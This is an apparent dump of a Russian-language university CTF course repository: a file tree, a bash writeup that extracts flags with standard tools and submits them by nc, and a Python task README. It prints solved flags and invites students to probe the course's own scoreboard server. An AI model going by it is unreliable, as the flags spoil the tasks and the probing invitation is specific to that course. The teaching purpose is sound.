├── .gitignore
├── 01-intro
├── 01-bash
│ ├── README.md
│ ├── WRITEUP.md
│ ├── images
│ │ ├── bash-apart-first.png
│ │ └── bash-apart-result.png
│ ├── slides.pdf
│ ├── tasks.tar.gz
│ └── tasks
│ │ ├── .hidden
│ │ ├── apart
│ │ ├── dense
│ │ ├── flip
│ │ ├── order
│ │ ├── path
│ │ ├── simple
│ │ └── storage
├── 02-python
│ ├── README.md
│ ├── WRITEUP.md
│ ├── contest
│ │ ├── calc.py
│ │ ├── regex.py
│ │ ├── sum.py
│ │ └── word.py
│ ├── examples
│ │ ├── README.md
│ │ ├── examples_1.py
│ │ ├── examples_2.py
│ │ ├── examples_3.py
│ │ ├── examples_4.py
│ │ ├── examples_5.py
│ │ ├── examples_6.py
│ │ ├── input.txt
│ │ └── output.txt
│ ├── images
│ │ ├── qr-code-corners.png
│ │ ├── qr-code-detection-1.png
│ │ └── qr-code-detection-2.png
│ ├── slides.pdf
│ └── tasks
│ │ ├── bitwise.py
│ │ ├── brute.zip
│ │ ├── encrypted.txt
│ │ ├── exec.py
│ │ ├── qrcode
│ │ ├── 1.png
│ │ ├── 2.png
│ │ ├── 3.png
│ │ ├── 4.png
│ │ ├── 5.png
│ │ ├── 6.png
│ │ ├── 7.png
│ │ ├── 8.png
│ │ └── 9.png
│ │ └── simple.py
└── 03-eval
│ ├── README.md
│ ├── WRITEUP.md
│ ├── examples
│ ├── eval_examples_0.py
│ ├── eval_examples_1.py
│ ├── eval_examples_2.py
│ ├── eval_examples_3.py
│ └── eval_examples_4.py
│ ├── slides.pdf
│ └── tasks
│ ├── eval1.py
│ ├── eval2.py
│ ├── eval3.py
│ ├── eval4.py
│ ├── eval5.py
│ └── exec.py
├── 02-crypto
├── 01-symmetric
│ ├── README.md
│ ├── WRITEUP.md
│ ├── slides.pdf
│ └── tasks
│ │ ├── analyze.txt
│ │ ├── mary.txt
│ │ ├── start.dat
│ │ ├── start.py
│ │ ├── vigenere.dat
│ │ └── vigenere.py
├── 02-asymmetric
│ ├── README.md
│ ├── WRITEUP.md
│ ├── broken_rsa_source.py
│ └── slides.pdf
├── 03-hashing
│ ├── README.md
│ └── slides.pdf
└── 04-stego
│ ├── README.md
│ ├── WRITEUP.md
│ ├── examples
│ ├── cat-lsb.png
│ ├── cat-rar.jpg
│ └── cat.png
│ ├── slides.pdf
│ └── tasks
│ ├── exif.jpg
│ ├── filter.png
│ ├── lsb.png
│ ├── only.png
│ ├── palette.png
│ ├── qr.mp4
│ ├── rar.jpg
│ ├── reverse.wav
│ └── spectro.wav
├── 03-web
├── 01-http
│ ├── README.md
│ └── slides.pdf
├── 02-vulns
│ ├── README.md
│ └── slides.pdf
├── 03-sqli
│ ├── README.md
│ ├── WRITEUP.md
│ └── slides.pdf
└── README.md
├── 04-binary
├── 01-asm
│ └── README.md
├── 02-reverse
│ ├── README.md
│ ├── WRITEUP.md
│ ├── example
│ │ ├── example.c
│ │ ├── example32
│ │ └── example64
│ ├── slides.pdf
│ └── tasks
│ │ ├── dmd
│ │ ├── endian
│ │ ├── filechecker
│ │ ├── flip
│ │ ├── haxor
│ │ ├── log.txt
│ │ └── putskey
├── 03-exploits
│ ├── README.md
│ ├── buffer-overflow
│ │ ├── 01-simple-overflow
│ │ ├── 01-simple-overflow.cpp
│ │ ├── 02-overwrite-return-address
│ │ ├── 02-overwrite-return-address.cpp
│ │ ├── 03-shellcode
│ │ ├── 03-shellcode.cpp
│ │ ├── 04-return-to-libc
│ │ ├── 04-return-to-libc.cpp
│ │ └── SNIPPETS
│ ├── format-string
│ │ ├── 01-printf-features
│ │ ├── 01-printf-features.cpp
│ │ ├── 02-simple-format-string
│ │ ├── 02-simple-format-string.cpp
│ │ ├── 03-global-overwrite
│ │ ├── 03-global-overwrite.cpp
│ │ ├── 04-overwrite-long
│ │ ├── 04-overwrite-long.cpp
│ │ ├── 05-overwrite-got
│ │ ├── 05-overwrite-got.cpp
│ │ └── SNIPPETS
│ └── tricks
│ │ ├── gdb
│ │ ├── README.md
│ │ ├── stack
│ │ └── stack.cpp
│ │ ├── stdin
│ │ ├── README.md
│ │ ├── stdin
│ │ └── stdin.cpp
│ │ └── struct
│ │ └── README.md
└── 04-hardening
│ ├── README.md
│ ├── anti-debugging
│ ├── README.md
│ ├── fake.c
│ ├── fake.so
│ ├── runme
│ └── runme.cpp
│ ├── bypass-aslr-x32
│ ├── SNIPPETS
│ ├── bypass
│ ├── bypass.c
│ ├── bypass.py
│ └── bypass64
│ └── rop
│ ├── 01-calling-arguments
│ ├── 01-calling-arguments.c
│ ├── 01-calling-arguments.py
│ ├── 02-return-to-libc
│ ├── 02-return-to-libc.c
│ ├── 02-return-to-libc.py
│ ├── 03-x86-64
│ ├── 03-x86-64.c
│ ├── 03-x86-64.py
│ ├── 04-gadgets
│ ├── 04-gadgets.c
│ ├── 04-gadgets.py
│ ├── 05-memory-write
│ ├── 05-memory-write.c
│ ├── 05-memory-write.py
│ └── SNIPPETS
├── 05-advanced
└── 01-wifi-hacking
│ └── README.md
├── LICENSE
├── README.md
├── scoreboard
├── db.py
├── static
│ ├── css
│ │ └── bootstrap.min.css
│ └── js
│ │ ├── bootstrap.min.js
│ │ └── jquery.min.js
├── tcp.py
├── templates
│ └── index.html
└── view.py
└── scripts
└── flag.py
/.gitignore:
--------------------------------------------------------------------------------
1 | *.pyc
2 | *.swp
3 |
4 | scoreboard/scoreboard.db
5 |
--------------------------------------------------------------------------------
/01-intro/01-bash/README.md:
--------------------------------------------------------------------------------
1 | bash
2 | ====
3 |
4 | ## Требования
5 |
6 | Машина с любым Linux'ом, можно Mac OS.
7 |
8 | ## Лекция
9 |
10 | [Презентация](https://github.com/xairy/mipt-ctf/blob/master/01-intro/01-bash/slides.pdf)
11 |
12 | [Скринкаст](https://www.youtube.com/watch?v=in2f5xc9K4Q)
13 |
14 | ## Практика
15 |
16 | ### Bandit wargame
17 |
18 | [Bandit](http://overthewire.org/wargames/bandit/) - одна из игр от [overthewire.org](http://overthewire.org/).
19 |
20 | Для перехода на следующий уровень нужно узнать пароль от пользователя следующего уровня
21 | (для уровня N имя пользователя будет banditN).
22 | Игра начинается с [уровня 0](http://overthewire.org/wargames/bandit/bandit1.html):
23 | ```
24 | ssh bandit0@bandit.labs.overthewire.org
25 | # password: bandit0
26 | ```
27 |
28 | Имеет смысл прорешать хотя бы до 12 уровня включительно.
29 |
30 | ### Мини-CTF по bash
31 |
32 | Условия задач брать [здесь](https://github.com/xairy/mipt-ctf/raw/master/01-intro/01-bash/tasks.tar.gz):
33 | ```
34 | $ wget https://github.com/xairy/mipt-ctf/raw/master/01-intro/01-bash/tasks.tar.gz
35 | $ tar -xzf bash-tasks.tar.gz
36 | $ cd bash-tasks/
37 | $ ls
38 | apart dense flip order path simple storage
39 | ```
40 |
41 | Каждый файл - отдельная задача.
42 | Для решения необходимо тем или иным образом извлечь из файла флаг вида flag{73c0487d1b4c9326bc4ec5ac09bf69eb}.
43 | Для каждой из задачек рекомендуется для начала посмотреть на тип файла с помощью утилиты file.
44 | Например:
45 | ```
46 | $ file simple
47 | simple: ASCII text
48 | ```
49 |
50 | Отправлять флаги на сервер таким образом:
51 | ```
52 | $ nc andreyknvl.com 9999
53 | username taskname 73c0487d1b4c9326bc4ec5ac09bf69eb
54 | ```
55 | где username - имя для таблицы результатов, а taskname - название задачи.
56 |
57 | Доступна [таблица результатов](https://andreyknvl.com/mipt-ctf).
58 |
59 | ## Разбор задач
60 |
61 | [Bandit wargame](http://infamoussyn.com/2013/11/08/overthewire-bandit-level-0-25-writeup-completed/)
62 |
63 | [Мини-CTF по bash](https://github.com/xairy/mipt-ctf/blob/master/01-intro/01-bash/WRITEUP.md)
64 |
65 | ## Материалы
66 |
67 | [The art of command line](https://github.com/jlevy/the-art-of-command-line)
68 |
69 | [Give me that one command you wish you knew years ago](https://www.reddit.com/r/linux/comments/mi80x/give_me_that_one_command_you_wish_you_knew_years/)
70 |
71 | [Using Grep & Regular Expressions to Search for Text Patterns in Linux](https://www.digitalocean.com/community/tutorials/using-grep-regular-expressions-to-search-for-text-patterns-in-linux)
72 |
73 | [Bash Guide for Beginners](http://www.tldp.org/LDP/Bash-Beginners-Guide/html/)
74 |
--------------------------------------------------------------------------------
/01-intro/01-bash/WRITEUP.md:
--------------------------------------------------------------------------------
1 | Разбор [задачек по bash](https://github.com/xairy/mipt-ctf/tree/master/01-intro/01-bash).
2 |
3 | # Простые задачи
4 |
5 | ## simple
6 |
7 | Воспользовавшись утилитой file, можно увидеть, что simple - это просто текстовый файл:
8 | ``` bash
9 | $ file simple
10 | simple: ASCII text
11 | ```
12 |
13 | Вывести его содержимое можно командой cat:
14 | ``` bash
15 | $ cat simple
16 | flag{7dcdb5a749c7f5280762d65278bd678c}
17 | ```
18 |
19 | Вот он флаг, осталось лишь его сдать.
20 | Это можно сделать, используя только bash.
21 |
22 | Для начала, с помощью cut вырежем сам флаг:
23 | ``` bash
24 | $ cat simple | cut -c 6-37
25 | 7dcdb5a749c7f5280762d65278bd678c
26 | ```
27 |
28 | Теперь припишем имя для турнирной таблицы и название задачи с помощью awk:
29 | ``` bash
30 | $ cat simple | cut -c 6-37 | awk '{print "xairy simple " $0}'
31 | xairy simple 7dcdb5a749c7f5280762d65278bd678c
32 | ```
33 |
34 | А теперь отправим все это на сервер:
35 | ``` bash
36 | $ cat simple | cut -c 6-37 | awk '{print "xairy simple " $0}' | nc andreyknvl.com 9998
37 | Correct!
38 | ```
39 |
40 | ## dense
41 |
42 | Посмотрим на тип файла dense:
43 | ``` bash
44 | $ file dense
45 | dense: Zip archive data, at least v2.0 to extract
46 | ```
47 |
48 | Файл является zip архивом, распакуем его:
49 | ``` bash
50 | $ unzip dense
51 | Archive: dense
52 | replace dense? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
53 | inflating: dense
54 | ```
55 |
56 | После распаковки получаем текстовый файл:
57 | ``` bash
58 | $ file dense
59 | dense: ASCII text
60 | $ head dense
61 | 7a16c7c75ece6f37fc9f680ce990b1fd1bd43132f35d22546dbd8df88142f89a2a14b231602ec417
62 | 2fc42e4ed3a874e61d8c47cb19ff446a07b75fadb22095d106efe4c3f89a29755aafa578f1753872
63 | 6460b996852047fddf2405db2e765fb9f3b930ce4224ca9180b39230bee37d3ace7de3d2d19d2456
64 | dbf61cc7b2e03ff142f42fd8f647f4134131c871fe8de273d1a9f5e0c892203cb95e6e44e517724b
65 | 48ba8832ad5b57d2d274831e63a7c200520de13f19ad1da09c4dd574a804a6f8c396a412062af8f6
66 | 0651d4cf54f051d58444de16f203436735718385c8ba71b53c39046255e62ab2dd918b1d660020ff
67 | 4dfe88570a7dfc0c7cac8764558426533756960bc4da6f1328c713a3dfd3caf7f4afbd2b29372201
68 | 8737870efdcf53131b02a427aabb5a101f4b9fa2ed7e37ba56d9d558176ea23002b7c87e30eb3d82
69 | 8cd725c5850af7f8e168a2519c27432e3bc0ea0a6c05e743933463e9add96207794b57850cd21556
70 | 556c3ae37ddbe7c910e9ddcd67a56aff142b469275bd94ec6e45d02bb5f81e7bf718d9654d9c69f5
71 | ```
72 |
73 | Попробуем поискать в этом файле флаг:
74 | ``` bash
75 | $ cat dense | grep "flag"
76 | 978f3eace7e625df532a43aflag{4bf47e277be11d43b6817748359b8074}fa305888c9c097e2cd7
77 | ```
78 |
79 | Ага, нашли.
80 | Далее вырезаем его с помощью cut, приписываем имя и название задачи с помощью awk и отправляем на сервер с помощью nc.
81 |
82 | ## apart
83 |
84 | Посмотрим на тип файла apart:
85 | ```
86 | $ file apart
87 | apart: XZ compressed data
88 | ```
89 |
90 | Погуглив или почитав man, можно узнать, что XZ архив можно распаковать с помощью tar вот так:
91 | ``` bash
92 | $ tar -xJf apart
93 | ```
94 |
95 | Более того, умный tar может сам догадаться до формата архива:
96 | ``` bash
97 | $ tar -xf apart
98 | ```
99 |
100 | После распаковки мы видим папку с тремя файлами:
101 | ``` bash
102 | $ cd apart
103 | $ ls
104 | first second third
105 | ```
106 |
107 | Посмотрим на типы этих файлов:
108 | ``` bash
109 | $ file *
110 | first: PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
111 | second: data
112 | third: data
113 | ```
114 |
115 | Файл first является png изображением, но если попробовать его открыть, ничего интересного мы не увидим:
116 | ``` bash
117 | $ eog first
118 | ```
119 |
120 | 
121 |
122 | Название задачи apart и названия файлов first, second и third намекают на то, что последние три файла - это один файл, разбитый на несколько частей.
123 | Попробуем их склеить:
124 | ``` bash
125 | $ cat first second third > result
126 | $ file result
127 | result: PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
128 | $ eog result
129 | ```
130 |
131 | 
132 |
133 | Вот он флаг.
134 | Остается перепечатать его руками и сдать.
135 |
136 | ## storage
137 |
138 | Посмотрим на тип файла storage:
139 | ``` bash
140 | $ file storage
141 | storage: SQLite 3.x database
142 | ```
143 |
144 | Файл является SQLite 3 базой данных.
145 | С помощью sqlite3 можно ее открыть и посмотреть на существующие в ней таблицы и данные, которые в них хранятся.
146 | Возможно где-то среди них окажется флаг.
147 |
148 | Мы пойдем другим путем.
149 | Попробуем поискать флаги с помощью grep:
150 | ``` bash
151 | $ cat storage | grep "flag"
152 | Binary file (standard input) matches
153 | ```
154 |
155 | Поскольку файл storage не является текстовым, то grep всего-лишь говорит, что искомая подстрока в нем присутствует, но ее не выводит.
156 | Чтобы таки вывести ее необходимо добавить параметр -a:
157 | ``` bash
158 | $ cat storage | grep -a "flag"
159 | ... flag{c51c3651849563e8bb155a3a0dec7584} ... flag{fe63444fa3ad3ce44ac71f96d90de998} ...
160 | ...
161 | ```
162 |
163 | Посмотрев на вывод, можно заметить, что флагов в этом файле присутствует несколько, но не очень много.
164 | Попробуем отправить на сервер сразу все найденные флаги, вдруг какой-нибудь из них окажется правильным.
165 |
166 | Для начала нам нужно их из файла извлечь, избавившись от лишних символов.
167 | Напишем для этого регулярное выражение и воспользуемся параметром -o, чтобы grep выводил только ту часть строки, которая соответствует регулярному выражению:
168 | ``` bash
169 | $ cat storage | egrep -ao "flag\{[a-f0-9]{32}\}"
170 | flag{c51c3651849563e8bb155a3a0dec7584}
171 | flag{fe63444fa3ad3ce44ac71f96d90de998}
172 | flag{944203f995d26e88fc19d7a3f236fa2b}
173 | ...
174 | ```
175 |
176 | Теперь попробуем отправить все флаги на сервер:
177 | ``` bash
178 | cat storage | egrep -ao "flag\{[a-f0-9]{32}\}" | cut -c 6-37 | awk '{print "xairy storage " $0}' | nc andreyknvl.com 9998
179 | Bad flag!
180 | ...
181 | Bad flag!
182 | Correct!
183 | Bad flag!
184 | ...
185 | Bad flag!
186 | ```
187 |
188 | Один из флагов оказался правильным, задача сдана.
189 |
190 | ## path
191 |
192 | Посмотрим на тип файла path:
193 | ``` bash
194 | $ file path
195 | path: gzip compressed data, from Unix, last modified: Mon Oct 20 15:59:46 2014
196 | ```
197 |
198 | Распакуем его с помощью умного tar'а:
199 | ``` bash
200 | $ tar -xf path
201 | ```
202 |
203 | Внутри оказывается большое количество вложенных папок:
204 | ``` bash
205 | $ cd path
206 | $ ls
207 | 56fc 7c33 a209 ce03
208 | ```
209 |
210 | Попробуем поискать в этих папках файлы:
211 | ``` bash
212 | $ find . -type f
213 | ./7c33/cfd1/423d/7710/171f/1f00/d000/5d79/gotcha
214 | ```
215 |
216 | Ага, нашли.
217 | В самом файле не оказывется ничего полезного:
218 | ``` bash
219 | $ cat ./7c33/cfd1/423d/7710/171f/1f00/d000/5d79/gotcha
220 | ______
221 | < Wat? >
222 | ------
223 | \ / \ //\
224 | \ |\___/| / \// \\
225 | /0 0 \__ / // | \ \
226 | / / \/_/ // | \ \
227 | @_^_@'/ \/_ // | \ \
228 | //_^_/ \/_ // | \ \
229 | ( //) | \/// | \ \
230 | ( / /) _|_ / ) // | \ _\
231 | ( // /) '/,_ _ _/ ( ; -. | _ _\.-~ .-~~~^-.
232 | (( / / )) ,-{ _ `-.|.-~-. .~ `.
233 | (( // / )) '/\ / ~-. _ .-~ .-~^-. \
234 | (( /// )) `. { } / \ \
235 | (( / )) .----~-.\ \-' .~ \ `. \^-.
236 | ///.----..> \ _ -~ `. ^-` ^-_
237 | ///-._ _ _ _ _ _ _}^ - - - - ~ ~-- ,.-~
238 | /.-~
239 | ```
240 |
241 | Однако название задачи намекает, что флагом может быть путь до этого файла.
242 | Проверяем:
243 | ```
244 | $ nc andreyknvl.com 9998
245 | xairy path 7c33cfd1423d7710171f1f00d0005d79
246 | Correct!
247 | ```
248 |
249 | Получилось, задача решена.
250 |
251 | # Сложные задачи
252 |
253 | Для решения этих задачек требовалось чуть больше знаний, чем давалось на паре.
254 | Некоторые из задачек на темы, которые мы будем рассматривать в дальнейшем, поэтому не страшно, если их решения непонятны.
255 |
256 | ## flip
257 |
258 | Посмотрим на тип файла flip:
259 |
260 | ```
261 | $ file flip
262 | flip: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=ebd136f0ec1a06e3da1fa8d9c71bf80b1d5a1bb8, not stripped
263 | ```
264 |
265 | Это бинарный (исполняемый файл).
266 |
267 | Иногда, некоторое представление о там, что же происходит внутри бинарника, можно получить, посмотрев какие строки в нем содержатся:
268 |
269 | ```
270 | $ strings flip
271 | /lib64/ld-linux-x86-64.so.2
272 | libc.so.6
273 | printf
274 | __libc_start_main
275 | __gmon_start__
276 | GLIBC_2.2.5
277 | UH-@
278 | UH-@
279 | []A\A]A^A_
280 | flag{%016llx%016llx}
281 | ;*3$"
282 | ```
283 |
284 | Судя по строке "flag{%016llx%016llx}", бинарник должен напечатать флаг в соответствующем формате.
285 |
286 | Посмотрим что происходит в функции main:
287 |
288 | ```
289 | $ objdump -dC flip | grep "" -A 21
290 | 000000000040059d :
291 | 40059d: 55 push %rbp
292 | 40059e: 48 89 e5 mov %rsp,%rbp
293 | 4005a1: 53 push %rbx
294 | 4005a2: 48 83 ec 18 sub $0x18,%rsp
295 | 4005a6: c6 45 ef 00 movb $0x0,-0x11(%rbp)
296 | 4005aa: 80 7d ef 00 cmpb $0x0,-0x11(%rbp)
297 | 4005ae: 74 22 je 4005d2
298 | 4005b0: e8 b0 ff ff ff callq 400565
299 | 4005b5: 48 89 c3 mov %rax,%rbx
300 | 4005b8: e8 70 ff ff ff callq 40052d
301 | 4005bd: 48 89 da mov %rbx,%rdx
302 | 4005c0: 48 89 c6 mov %rax,%rsi
303 | 4005c3: bf 64 06 40 00 mov $0x400664,%edi
304 | 4005c8: b8 00 00 00 00 mov $0x0,%eax
305 | 4005cd: e8 3e fe ff ff callq 400410
306 | 4005d2: b8 00 00 00 00 mov $0x0,%eax
307 | 4005d7: 48 83 c4 18 add $0x18,%rsp
308 | 4005db: 5b pop %rbx
309 | 4005dc: 5d pop %rbp
310 | 4005dd: c3 retq
311 | 4005de: 66 90 xchg %ax,%ax
312 | ```
313 |
314 | В начале функции происходит бессмысленное сравнение 0 и 0 (инструкции по адресам 4005a6 и 4005aa), после чего происходит переход в конец функции (инструкция 4005ae).
315 |
316 | Судя по всему блок кода, следующий сразу за инструкцией перехода, не исполняется.
317 | В этом блоке кода происходит вызов функций foo() и bar() и их результат вместе со строкой формата передается функции printf().
318 |
319 | Попробуем в дебаггере перейти на инструкцию, следующую сразу за инструкцией перехода:
320 |
321 | ```
322 | $ chmod +x flip
323 | $ gdb flip
324 | GNU gdb (GDB) 7.8-gg2
325 | ...
326 | Reading symbols from flip...done.
327 | Loading v16/v17 libstdc++ pretty-printers ...
328 | (gdb) break main
329 | Breakpoint 1 at 0x4005a6: file flip.cpp, line 20.
330 | (gdb) run
331 | Starting program: /usr/local/google/home/andreyknvl/Downloads/ctf/flip
332 |
333 | Breakpoint 1, main () at flip.cpp:20
334 | 20 flip.cpp: No such file or directory.
335 | (gdb) x/20i $pc
336 | => 0x4005a6 : movb $0x0,-0x11(%rbp)
337 | 0x4005aa : cmpb $0x0,-0x11(%rbp)
338 | 0x4005ae : je 0x4005d2
339 | 0x4005b0 : callq 0x400565
340 | 0x4005b5 : mov %rax,%rbx
341 | 0x4005b8 : callq 0x40052d
342 | 0x4005bd : mov %rbx,%rdx
343 | 0x4005c0 : mov %rax,%rsi
344 | 0x4005c3 : mov $0x400664,%edi
345 | 0x4005c8 : mov $0x0,%eax
346 | 0x4005cd : callq 0x400410
347 | 0x4005d2 : mov $0x0,%eax
348 | 0x4005d7 : add $0x18,%rsp
349 | 0x4005db : pop %rbx
350 | 0x4005dc : pop %rbp
351 | 0x4005dd : retq
352 | 0x4005de: xchg %ax,%ax
353 | 0x4005e0 <__libc_csu_init>: push %r15
354 | 0x4005e2 <__libc_csu_init+2>: mov %edi,%r15d
355 | 0x4005e5 <__libc_csu_init+5>: push %r14
356 | (gdb) jump *0x4005b0
357 | Continuing at 0x4005b0.
358 | flag{30fff0281c29cf0799d9fcaea77379a9}
359 | [Inferior 1 (process 31785) exited normally]
360 | ```
361 |
362 | Как и предполагалось, пропущенный блок кода печатает флаг.
363 |
364 | ## hidden
365 |
366 | В файле hidden содержится текст:
367 |
368 | ```
369 | $ file .hidden
370 | .hidden: ASCII text
371 | $ cat .hidden
372 | 666c61677b32313765303961666637636433346333346633376364313231346437663334377d
373 | ```
374 |
375 | В этой задачке нужно было догадаться, что текст в файле - это шестнадцатиричное представление последовательности байт, каждые два символа - один байт.
376 |
377 | Можно написать скрипт, который сконвертирует этот текст в читаемую строку.
378 | На мой взгляд такие вещи нужно писать на Питоне, но, тем не менее, решение на bash выглядит таким образом:
379 |
380 | ```
381 | $ echo -e `cat .hidden | sed 's/../\\\\x&/g'`
382 | flag{217e09aff7cd34c34f37cd1214d7f347}
383 | ```
384 |
385 | ## order
386 |
387 | Файл order является архивом. Распакуем:
388 |
389 | ```
390 | $ file order
391 | order: POSIX tar archive (GNU)
392 | $ tar -xf order
393 | flip order
394 | ```
395 |
396 | Внутри оказывается большое количество файлов с непонятными именами:
397 |
398 | ```
399 | $ cd order/
400 | $ ls
401 | 02e74f10e0327ad868d138f2b4fdd6f0 6364d3f0f495b6ab9dcf8d3b5c6e0b01 c16a5320fa475530d9583c34fd356ef5
402 | 1679091c5a880faf6fb5e6087eb1b2dc 6512bd43d9caa6e02c990b0a82652dca c20ad4d76fe97759aa27a0c99bff6710
403 | 182be0c5cdcd5072bb1864cdee4d3d6e 6ea9ab1baa0efb9e19094440c317e21b c4ca4238a0b923820dcc509a6f75849b
404 | 19ca14e7ea6328a42e0eb13d585e4c22 6f4922f45568161a8cdf4ad2299f6d23 c51ce410c124a10e0db5e4b97fc2af39
405 | 1c383cd30b7c298ab50293adfecb7b18 70efdf2ec9b086079795c442636b55fb c74d97b01eae257e44aa9d5bade97baf
406 | 1f0e3dad99908345f7439f8ffabdffc4 8e296a067a37563370ded05f5a3bf3ec c81e728d9d4c2f636f067f89cc14862c
407 | 1ff1de774005f8da13f42943881c655f 8f14e45fceea167a5a36dedd4bea2543 c9f0f895fb98ab9159f51fd0297e236d
408 | 33e75ff09dd601bbe69f351039152189 98f13708210194c475687be6106a3b84 cfcd208495d565ef66e7dff9f98764da
409 | 34173cb38f07f89ddbebc2ac9128303f 9bf31c7ff062936a96d3c8bd1f8f2ff3 d3d9446802a44259755d38e6d163e820
410 | 37693cfc748049e45d87b8c7d8b9aacd a5bfc9e07964f8dddeb95fc584cd965d e369853df766fa44e1ed0ff613f563bd
411 | 3c59dc048e8850243be8079a5c74d079 a87ff679a2f3e71d9181a67b7542122c e4da3b7fbbce2345d7772b0674a318d5
412 | 45c48cce2e2d7fbdea1afc51c7c6ad26 aab3238922bcc25a6f606eb525ffdc56 eccbc87e4b5ce2fe28308fd9f2a7baf3
413 | 4e732ced3463d06de0ca9a15b6153677 b6d767d2f8ed5d21a44b0e5886680cb9
414 | ```
415 |
416 | Если посмотреть на содержимое этих файлов, то можно заметить, что в каждом файле содержится по одному символу:
417 |
418 | ```
419 | $ cat *
420 | e
421 | 2
422 | d
423 | 9
424 | 3
425 | d
426 | 6
427 | a
428 | a
429 | d
430 | 3
431 | 1
432 | f
433 | 3
434 | c
435 | 8
436 | 6
437 | 5
438 | d
439 | 8
440 | 7
441 | 5
442 | }
443 | {
444 | e
445 | 6
446 | 0
447 | d
448 | l
449 | d
450 | 5
451 | a
452 | 0
453 | f
454 | c
455 | 4
456 | 1
457 | g
458 | ```
459 |
460 | Судя по наличию символов '{' и '}' и всех букв слова 'flag', из содержимого файлов можно составить строку 'flag{...}', которая и будет искомым флагом.
461 | Вопрос в том, как именно упорядочить эти символы.
462 |
463 | В этой задаче, нужно было догадаться, что имена файлов - это MD5 хэши.
464 | Просто погуглив любое из них, можно увидеть, что хэшировались строки '0', '1', ..., '37'.
465 | После сортировки символов по "расхэшированным" именам файлов мы получаем флаг.
466 |
467 |
468 | ## exploit
469 |
470 | В этой задачке предполагалось попробовать найти уязвимость на сервере.
471 | Известного мне решения у нее нет, но наверняка оно существует.
472 |
473 | Как вариант, можно было попробовать найти уязвимость в сервисе, принимающем флаги, исходники которого [находятся в этом же репозитории](https://github.com/xairy/mipt-ctf/tree/master/scoreboard).
474 | Кроме того, на сервере крутится несколько других сервисов, которые тоже представляют собой вектора атаки.
475 |
--------------------------------------------------------------------------------
/01-intro/01-bash/images/bash-apart-first.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/01-bash/images/bash-apart-first.png
--------------------------------------------------------------------------------
/01-intro/01-bash/images/bash-apart-result.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/01-bash/images/bash-apart-result.png
--------------------------------------------------------------------------------
/01-intro/01-bash/slides.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/01-bash/slides.pdf
--------------------------------------------------------------------------------
/01-intro/01-bash/tasks.tar.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/01-bash/tasks.tar.gz
--------------------------------------------------------------------------------
/01-intro/01-bash/tasks/.hidden:
--------------------------------------------------------------------------------
1 | 666c61677b32313765303961666637636433346333346633376364313231346437663334377d
2 |
--------------------------------------------------------------------------------
/01-intro/01-bash/tasks/apart:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/01-bash/tasks/apart
--------------------------------------------------------------------------------
/01-intro/01-bash/tasks/dense:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/01-bash/tasks/dense
--------------------------------------------------------------------------------
/01-intro/01-bash/tasks/flip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/01-bash/tasks/flip
--------------------------------------------------------------------------------
/01-intro/01-bash/tasks/path:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/01-bash/tasks/path
--------------------------------------------------------------------------------
/01-intro/01-bash/tasks/simple:
--------------------------------------------------------------------------------
1 | flag{7dcdb5a749c7f5280762d65278bd678c}
2 |
--------------------------------------------------------------------------------
/01-intro/01-bash/tasks/storage:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/xairy/mipt-ctf/3b689385aca0c9e22bc5f950008e830b7358e28d/01-intro/01-bash/tasks/storage
--------------------------------------------------------------------------------
/01-intro/02-python/README.md:
--------------------------------------------------------------------------------
1 | Python
2 | ======
3 |
4 | ## Требования
5 |
6 | Установленный Python 2.7.
7 |
8 | ## Лекция
9 |
10 | [Презентация](https://github.com/xairy/mipt-ctf/blob/master/01-intro/02-python/slides.pdf)
11 |
12 | [Скринкаст](https://www.youtube.com/watch?v=46dkN9Ux-T8)
13 |
14 | Примеры:
15 | [1](https://github.com/xairy/mipt-ctf/blob/master/01-intro/02-python/examples/examples_1.py),
16 | [2](https://github.com/xairy/mipt-ctf/blob/master/01-intro/02-python/examples/examples_2.py),
17 | [3](https://github.com/xairy/mipt-ctf/blob/master/01-intro/02-python/examples/examples_3.py),
18 | [4](https://github.com/xairy/mipt-ctf/blob/master/01-intro/02-python/examples/examples_4.py),
19 | [5](https://github.com/xairy/mipt-ctf/blob/master/01-intro/02-python/examples/examples_5.py),
20 | [6](https://github.com/xairy/mipt-ctf/blob/master/01-intro/02-python/examples/examples_6.py).
21 |
22 |
23 | ## Практика
24 |
25 | ### Контест
26 |
27 | [Контест](http://kpm8.mipt.ru:8202/cgi-bin/new-register?contest_id=300204) с простыми задачками по Питону не на тему CTF.
28 |
29 | ### Simple
30 |
31 | Флагом является ввод, при котором [программа](https://github.com/xairy/mipt-ctf/blob/master/01-intro/02-python/tasks/simple.py) печатает "Success!".
32 |
33 | ### Bitwise
34 |
35 | Флагом является ввод, при котором [программа](https://github.com/xairy/mipt-ctf/blob/master/01-intro/02-python/tasks/bitwise.py) печатает "Success".
36 |
37 | Задача взята из [picoCTF 2013](https://2013.picoctf.com).
38 |
39 | ### Archive
40 |
41 | Распаковать [архив](https://github.com/xairy/mipt-ctf/blob/master/01-intro/02-python/tasks/brute.zip). Пароль словарный. Флагом является пароль.
42 |
43 | ### QR Code
44 |
45 | Условие задачи [здесь](https://github.com/xairy/mipt-ctf/tree/master/01-intro/02-python/tasks/qrcode).
46 |
47 | ## Флаги
48 |
